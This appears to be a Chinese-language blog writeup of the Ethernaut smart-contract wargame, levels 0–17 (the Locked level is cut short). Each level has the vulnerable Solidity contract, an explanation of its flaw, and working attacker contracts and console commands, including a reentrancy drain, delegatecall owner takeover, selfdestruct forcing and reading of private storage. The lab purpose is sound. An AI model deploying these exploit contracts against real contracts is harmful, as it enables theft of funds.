MitAh's Blog
Zeppelin Ethernaut writeup

Updated 2018-11-06
Level 22 completed
https://ethernaut.zeppelin.solutions


0. Hello Ethernaut

签到关,同时也是新手教程。
首先要装 MetaMask 浏览器插件,切换到 Ropsten test network,创建账号,点击 BUY,给自己打点钱先。由于是测试网络,所以随便白嫖。
打开 console,跟着教程试几个命令,确认无误后就可以愉快的做题了。

第一关主要是熟悉操作,跟着提示调用函数即可。

contract.info()
// "You will find what you need in info1()."
contract.info1()
// "Try info2(), but with "hello" as a parameter."
contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
contract.infoNum()
// 42
contract.info42()
// "theMethodName is the name of the next method."
contract.theMethodName()
// "The method name is method7123949."
contract.method7123949()
// "If you know the password, submit it to authenticate()."
contract.password()
// "ethernaut0"
contract.authenticate('ethernaut0')
// Submit instance

提交答案后可以看到源码。


1. Fallback

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
  • 成为合约的 owner
  • 清零 balance

合约构造函数 Fallback() 中初始化拥有者贡献度为 1000 ether。
我们可以通过转钱提升贡献度,当贡献度超过 1000 ether 即可成为合约 owner。
但在 contribute() 中限制了每次只能转小于 0.001 ether 的钱。很明显,此路不通。

然而成为 owner 还有另一种方式,注意到合约的 fallback 函数,即最下的无名函数。当合约账户收到一笔转账时会自动调用 fallback 函数。在这里,只要转账金额大于0,并且贡献大于0,即可成为 owner。

调用 help() 函数,了解下如何进行转钱操作。还需要注意一下 Wei 和 Ether 的转换。

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()


2. Fallout

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] += msg.value;
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
  • 成为合约的 owner

一个很简单的合约,其中改变 owner 的只有 Fal1out() 函数,但这是个构造函数,要怎么调用呢。
想了好久好久... 然后发现这根本不是构造函数,其中一个是 l1,长得太像了...
无良出题人甚至还给了个注释来强调一下这个假构造函数的身份,太过分了。
所以直接转钱调用就好了。

contract.Fal1out({value: 1})


3. Coin Flip

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    
    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;
    
    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
  • 连续猜对 10 次

FACTOR 为 2^255,coinFlip 结果只会为 1 或 0
相当于一个猜硬币正反面的游戏

这是经典的区块链伪随机数的问题。
在以太坊智能合约中编写的基于随机数的处理逻辑是十分危险的,因为区块链上的数据是公开的,所有人都可以看见,利用公开的数据来生成随机数是不明智的。
此外,像 timestamps 这样矿工可控的数据也不宜作为种子。

在这道题中,出题人利用 block.blockhash(block.number-1) 来生成随机数,这是可预测的。我们可以部署一个新的合约,先进行随机数的预测,再进行竞猜。
部署合约: http://remix.ethereum.org

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function CoinFlip() public {
    consecutiveWins = 0;
  }
 
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
 
    if (lastHash == blockValue) {
      revert();
    }
 
    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;
 
    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract Attack {
  CoinFlip fliphack;
  address instance_address = instance_address_here;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function Attack() {
    fliphack = CoinFlip(instance_address);
  }
 
  function predict() public view returns (bool){
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    return coinFlip == 1 ? true : false;
  }
 
  function hack() public {
    bool guess = predict();
    fliphack.flip(guess);
  }
}

只需调用 10 次 hack() 函数即可。


4. Telephone

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
  • 成为合约的 owner

代码很短,这里的考点是 tx.originmsg.sender 的区别。

  • tx.origin 是交易的发送方。
  • msg.sender 是消息的发送方。

用户通过另一个合约 Attack 来调用目标合约中的 changeOwner()
此时,tx.origin 为 用户,msg.sender 为 Attack,即可绕过条件,成为 owner

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Attack {
    address instance_address = instance_address_here;
    Telephone target = Telephone(instance_address);
    
    function hack() public {
        target.changeOwner(msg.sender);
    }
}

部署合约,调用 hack() 函数即可。


5. Token

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

经典的整数溢出问题
transfer() 函数第一行 require 里,这里的 balancesvalue 都是 uint。此时 balances 为 20,令 value = 21,产生下溢,从而绕过验证,并转出一笔很大的金额。

contract.transfer(player_address, 21)

为了防止整数溢出,应该使用 require(balances[msg.sender] >= _value)
或是使用 OpenZeppelin 维护的 SafeMath 库来处理算术逻辑。


6. Delegation

pragma solidity ^0.4.18;

contract Delegate {

  address public owner;

  function Delegate(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() public {
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}

考点在于 Solidity 中支持两种底层调用方式 calldelegatecall

  • call 外部调用时,上下文是外部合约
  • delegatecall 外部调用时,上下文是调用合约

在本题中,Delegation 合约中的 delegatecall 函数参数可控,导致可以在合约内部执行任意函数,只需调用 Delegate 合约中的 pwn 函数,即可将 owner 变成自己。

contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});


7. Force

pragma solidity ^0.4.18;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

刚看到这个合约是一脸懵逼的。

回头看了下题目要求:使合约 balance 大于 0
然而这个空合约并没有任何地方可以收钱

这里用到智能合约的一个 trick,当一个合约调用 selfdestruct 函数,也就是自毁时,可以将所有存款发给另一个合约,并且强制对方收下。
所有只需要再部署一个合约,打一点钱,然后自毁,把剩余金额留给目标合约。

pragma solidity ^0.4.18;

contract Attack {
    address instance_address = instance_address_here;
    
    function Attack() payable{}
    function hack() public {
        selfdestruct(instance_address);
    }
}

调用 hack()函数,然后当场去世。

可以看到,Attack 合约在自毁的时候,将余额 1 wei 转给了 Force 合约。


8. Vault

pragma solidity ^0.4.18;

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
  • 使 locked = false

合约逻辑很简单,需要知道 password 来解锁合约,而 password 属性设置了 private,无法被其他合约直接访问。

解决该问题的关键点在于,这是一个部署在区块链上的智能合约,而区块链上的所有信息都是公开的。

可以用 getStorageAt 函数来访问合约里变量的值。合约里一共两个变量,password 第二个声明,position 为 1。翻一下文档,getStorageAt 函数需要带上回调函数,可以选择直接把返回结果 alert 出来。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
// A very strong secret password :)
contract.unlock('A very strong secret password :)')

提交之后能看到,Zeppelin 给出的建议是:为确保数据私密,在将数据放入区块链之前需要对其进行加密,并且解密密钥不应该在链上发送。


9. King

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

  address public king;
  uint public prize;

  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

合约代码逻辑很简单,谁给的钱多谁就能成为 King,并且将前任 King 付的钱归还。当提交 instance 时,题目会重新夺回 King 的位置,需要解题者阻止其他人成为 King。

首先需要讨论一下 Solidity 中几种转币方式。

<address>.transfer()

  • 当发送失败时会 throw; 回滚状态
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)

<address>.send()

  • 当发送失败时会返回 false
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)

<address>.call.value()()

  • 当发送失败时会返回 false
  • 传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)

回头再看一下代码,当我们成为 King 之后,如果有人出价比我们高,会首先把钱退回给我们,使用的是 transfer()。上面提到,当 transfer() 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行,其他人就无法成为新的 King。

首先查看一下当前最高出价

fromWei((await contract.prize()).toNumber())
// 1 eth

部署一个新的合约,当收到转账时主动抛出错误。

pragma solidity ^0.4.18;

contract Attack {
    address instance_address = instance_address_here;
    
    function Attack() payable{}
    
    function hack() public {
        instance_address.call.value(1.1 ether)();
    }
    
    function () public {
        revert();
    }
}

调用 hack(), 成为新的 King

Submit instance 之后,仍然是 King


10. Re-entrancy

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

DASP 排第一的重入漏洞,也是之前比较著名的 DAO 事件里使用到的方法

漏洞主要在于 withdraw() 函数,合约在进行提币时,使用 require 依次判断提币账户是否拥有相应的资产,随后使用 msg.sender.call.value(amount)() 来发送 Ether,处理完成后相应修改用户资产数据。

在提币的过程中,存在一个递归 withdraw 的问题(因为资产修改在转币之后),攻击者可以部署一个包含恶意递归调用的合约将公共钱包合约里的 Ether 全部提出。

再复习一下 Solidity 中几种转币方式。

<address>.transfer()

  • 当发送失败时会 throw; 回滚状态
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)

<address>.send()

  • 当发送失败时会返回 false
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)

<address>.call.value()()

  • 当发送失败时会返回 false
  • 传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)

使用 msg.sender.call.value(amount)() 传递了所有可用 Gas 供调用,也是可以成功执行递归的前提条件。

查看题目合约地址信息,可以看到在初始化时转入了 1 ether,我们需要把目标合约的余额提出到自己的合约上。

部署合约

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

contract Attack {
    
    address instance_address = instance_address_here;
    Reentrance target = Reentrance(instance_address);
    
    function Attack() payable{}
    
    function donate() public payable {
        target.donate.value(msg.value)(this);
    }
    
    function hack() public {
        target.withdraw(0.5 ether);
    }
    
    function get_balance() public view returns(uint) {
        return target.balanceOf(this);
    }
    
    function my_eth_bal() public view returns(uint) {
        return address(this).balance;
    }
    
    function ins_eth_bal() public view returns(uint) {
        return instance_address.balance;
    }
    
    function () public payable {
        target.withdraw(0.5 ether);
    }
}

初始状态

  • balance 为 0
  • Reentrance 账户余额 1 ether
  • Attack 账户余额 0 ether

调用 donate() 以攻击者合约的身份向题目地址转账 1 ether

  • balance 为 1
  • Reentrance 账户余额 2 ether
  • Attack 账户余额 0 ether

调用 hacker() 赎回 0.5 ether,回调函数递归调用 withdraw(),触发重入漏洞

  • balance 下溢
  • Reentrance 账户余额 0 ether
  • Attack 账户余额 2 ether

成功将题目账户中本不属于我们 1 ether 也提出。

出题人给出的建议是,使用较为安全的 transfer() 来进行转币操作。


11. Elevator

pragma solidity ^0.4.18;

interface Building {
  function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
  • 使 contract.toptrue

Building 接口中声明了 isLastFloor 函数,用户可以自行编写。

在主合约中,先调用 building.isLastFloor(_floor) 进行 if 判断,然后将 building.isLastFloor(_floor) 赋值给 top 。要使 top = true,则 building.isLastFloor(_floor) 第一次调用需返回 false,第二次调用返回 true

思路也很简单,设置一个初始值为 true 的变量,每次调用 isLastFloor() 函数时,将其取反再返回。

不过,题目中在声明 isLastFloor 函数时,赋予了其 view 属性,view 表示函数会读取合约变量,但是不会修改任何合约的状态。

回头看了下题目给的提示

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.

翻了下文档,找到了对 view 的描述:

view functions: The compiler does not enforce yet that a view method is not modifying state.

函数在保证不修改状态情况下可以被声明为视图(view)的形式。但这是松散的,当前 Solidity 编译器没有强制执行视图函数(view function)不能修改状态。

那么上述做法就是可行的了。部署合约:

pragma solidity ^0.4.18;

interface Building {
  function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

contract Attack {
    
    address instance_address = instance_address_here;
    Elevator target = Elevator(instance_address);
    bool public isLast = true;
    
    function isLastFloor(uint) public returns (bool) {
        isLast = ! isLast;
        return isLast;
    }

    function hack() public {
        target.goTo(1024);
    }

}

调用 hack() 函数,成功将 contract.top 修改为 true


12. Privacy

pragma solidity ^0.4.18;

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

之前 Vault 题目的升级版。还是一样,用 getStorageAt() 把链上的数据读出来先。

web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)});
web3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)});

// 0x00000000000000000000000000000000000000000000000000000086b2ff0a01
// 0x6be9a25967a00434c9634d02b673c5bb4a14ad1fe8f1439e41f7f926dc3a884a
// 0xcf1e2bfa2471a6cfa8edd2cab4140248f94ca74b87691f129444677be4bd9c88
// 0x06b3b79c6b707e890d7160ed7a1c16df8a16704fdd0bafcbc08e3094ab05dd40
// 0x0000000000000000000000000000000000000000000000000000000000000000

可以看到,每一个存储位是 32 个字节。根据 Solidity 优化规则,当变量所占空间小于 32 字节时,会与后面的变量共享空间,如果加上后面的变量也不超过 32 字节的话。
除去 ID 常量无需存储

  • bool public locked = true 占 1 字节 -> 01
  • uint8 private flattening = 10 占 1 字节 -> 0a
  • uint8 private denomination = 255 占 1 字节 -> ff
  • uint16 private awkwardness = uint16(now) 占 2 字节 -> 86b2

刚好对应了第一个存储位的 86b2ff0a01

解题需要的 data[2] 则应该在第四存储位 0x06b3b79c6b707e890d7160ed7a1c16df8a16704fdd0bafcbc08e3094ab05dd40

注意到这里有一个 bytes32 转换为 bytes16,在 Remix-ide 上做一个简单测试。

所以只需要取前 16 字节即可


13. Gatekeeper One

pragma solidity ^0.4.18;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

需要满足 3 个 modifier 的条件。

gateOne() 利用之前做过的 Telephone 的知识,从第三方合约来调用 enter() 即可满足条件。

gateTwo() 需要满足 msg.gas % 8191 == 0
msg.gas 文档里的描述是 remaining gas,在 Javascript VM 环境下进行 Debug,在 Step detail 栏中可以看到这个变量。

同时,在调用 enter() 函数的时候,可以选择更加底层的 call 来更方便控制传递的 gas 数量。通过 debug 找到一个符合要求的 gas 数量 41170。

gateThree() 也比较简单,将 tx.origin 倒数三四字节换成 0000 即可。
bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 即可满足条件。

部署合约

pragma solidity ^0.4.18;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract Attack {
    
    address instance_address = instance_address_here;
    bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;
    
    GatekeeperOne target = GatekeeperOne(instance_address);

    function hack() public {
        target.call.gas(41170)(bytes4(keccak256("enter(bytes8)")), _gateKey);
    }
}

调用 hack() 函数,完成攻击。


14. Gatekeeper Two

pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

gateOne() 和上一题一样,用第三方合约来调用 enter() 即可满足条件。

gateThree() 也比较简单,由于是个异或,可以直接算出来。
_gateKey = (bytes8)(uint64(keccak256(address(this))) ^ (uint64(0) - 1))

比较有技巧性的是 gateTwo() ,用了内联汇编的写法。
翻了一下文档 https://ethereum.github.io/yellowpaper/paper.pdf

  • caller : Get caller address.
  • extcodesize : Get size of an account’s code.

按照题目的意思,要使当前合约代码区为空,显然与解题是矛盾的。

仔细读文档,注意到一些细节

Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code.
......
During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code.

也就是说,在执行初始化代码(构造函数),而新的区块还未添加到链上的时候,新的地址已经生成,然而代码区为空。此时,调用 EXTCODESIZE() 返回为 0

那么,只需要在第三方合约的构造函数中来调用题目合约中的 enter() 即可满足条件。

pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract Attack {
    
    address instance_address = instance_address_here;
    GatekeeperTwo target = GatekeeperTwo(instance_address);
    
    function Attack(){
        target.enter((bytes8)(uint64(keccak256(address(this))) ^ (uint64(0) - 1)));
    }

}

部署合约,自动调用构造函数的 target.enter(),完成攻击。


15. Naught Coin

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

 contract NaughtCoin is StandardToken {

  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
  address public player;

  function NaughtCoin(address _player) public {
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      if (now < timeLock) {
        _;
      }
    } else {
     _;
    }
  } 
} 

根据题意,需要将自己的 balance 清空。合约里提供了 transfer() 函数来进行转账操作,但注意到有一个 modifier lockTokens(),限制了只有十年后才能调用 transfer() 函数。需要解题者 bypass it

注意到该合约是 StandardToken 的子合约,题目中也给出了源码库地址与 ERC20 接口规范文档
https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md

在子合约中找不出更多信息的时候,把目光更多放到父合约和接口上

在接口规范里能看到,除了 transfer() 之外,还有 transferFrom() 函数也可以进行转账操作。

由于 NaughtCoin 子合约中并没有实现该接口,我们可以直接调用,从而绕开了 lockTokens() ,题目的突破口就在此。
需要注意的是,与 transfer() 不同,调用 transferFrom() 需要 msg.sender 获得授权。由于我们本就是合约的 owner,可以自己给自己授权。授权操作在接口文档里也有

function approve(address _spender, uint256 _value) returns (bool success)

还有一点,转账的目标账户不能是非法地址,所以需要部署一个第三方 NaughtCoin 合约。注意 import 的时候地址是 github 链接。

pragma solidity ^0.4.18;

import 'https://github.com/OpenZeppelin/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

contract NaughtCoin is StandardToken {

    string public constant name = 'NaughtCoin';
    string public constant symbol = '0x0';
    uint public constant decimals = 18;
    uint public timeLock = now + 10 years;
    uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
    address public player;

    function NaughtCoin(address _player) public {
        player = _player;
        totalSupply_ = INITIAL_SUPPLY;
        balances[player] = INITIAL_SUPPLY;
        Transfer(0x0, player, INITIAL_SUPPLY);
    }
  
    function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(now > timeLock);
            if (now < timeLock) {
                _;
            }
        } else {
            _;
        }
    } 
} 

部署完成后复制合约地址,直接在题目界面 console 操作

contract.approve(player, (await contract.INITIAL_SUPPLY()).toNumber())
// 给自己授权

contract.transferFrom(player, 3rd_contract_address, (await contract.INITIAL_SUPPLY()).toNumber())
// 向刚部署的第三方合约转钱,清空 player 的 balance

// You have completed this level !!!

提交之后,可以看一下 Zeppelin 给出的建议

When using code that's not your own, it's a good idea to familiarize yourself with it to get a good understanding of how everything fits together. This can be particularly important when there are multiple levels of imports (your imports have imports) or when you are implementing authorization controls, e.g. when you're allowing or disallowing people from doing things. In this example, a developer might scan through the code and think that transfer is the only way to move tokens around, low and behold there are other ways of performing the same operation with a different implementation.


16. Preservation

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}
  • 成为合约的 owner

合约代码很好理解,setFirstTime()setSecondTime() 分别通过 delegatecall 来调用 timeZone1LibrarytimeZone2LibrarysetTime() 函数。在前面的题目里可以了解到,delegatecall 外部调用时,上下文是调用合约,如果我们可以控制 timeZone1LibrarytimeZone2Library,将其指向我们自己部署的 Attack 合约,就可以调用其中的自定义的 setTime() 函数,做到任意命令执行。

await contract.timeZone1Library()
// "0x87d8e5d85d3b5226e534e84ae14fe69c4abe0c89"
await contract.timeZone2Library()
// "0xd262eadf2e93954dd09e235297c8b29ea4fcc067"
await contract.owner()
// "0xe3545ebaa3a0381ebd9f0868ae61b5dc89962ef5"

首先输出原合约中的几个变量,把 timeZone1LibrarytimeZone2Library 丢到 https://ethervm.io/decompile 里,可以看出两个都是 LibraryContract 合约的实例。

关注 setTime 函数的 OPCODE,写成 Solidity 代码的形式是:

    function func_006E() {
        storage[0x00] = arg0;
        // Could not resolve jump destination (is this a return?)
    }

函数功能:将参数写进第 0 存储位。

由于 delegatecall 外部调用时,上下文是调用合约,而此时主合约的第 0 存储位为 timeZone1Library,会被传进的参数覆盖。那么 timeZone1Library 就是我们可控的,将其指向我们部署的攻击合约,就可以调用恶意函数来修改 owner

部署合约

pragma solidity ^0.4.20;

contract Attack{
    address public pad1;
    address public pad2;
    uint public storedTime;
    
    function setTime(uint _time) public {
        storedTime = _time;
    }
}

调用 setSecondTime() 函数,参数为 Attack 合约的地址。

await contract.setSecondTime("0x1eb992246eada34370fe5d46e14b3a8b3a2e7cd9")

await contract.timeZone1Library()
// "0x1eb992246eada34370fe5d46e14b3a8b3a2e7cd9"
await contract.timeZone2Library()
// "0xd262eadf2e93954dd09e235297c8b29ea4fcc067"
await contract.owner()
// "0xe3545ebaa3a0381ebd9f0868ae61b5dc89962ef5"

可以看到,已经成功修改了 timeZone1Library 为 Attack 合约的地址。

观察一下 Attack 合约 setTime() 函数的 OPCODE

    function func_011C() {
        storage[0x02] = arg0;
        // Could not resolve jump destination (is this a return?)
    }

函数功能:将参数写进第 2 存储位。

主合约中第 2 存储位为 owner,将其修改为 player 即可。

调用 setFirstTime() 函数,参数为 player 的地址。

await contract.setFirstTime(player)

await contract.owner()
// "0x676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf"
player
// "0x676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf"

// Submit instance


17. Locked

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}
  • require(unlocked)

典型的全局变量覆盖问题

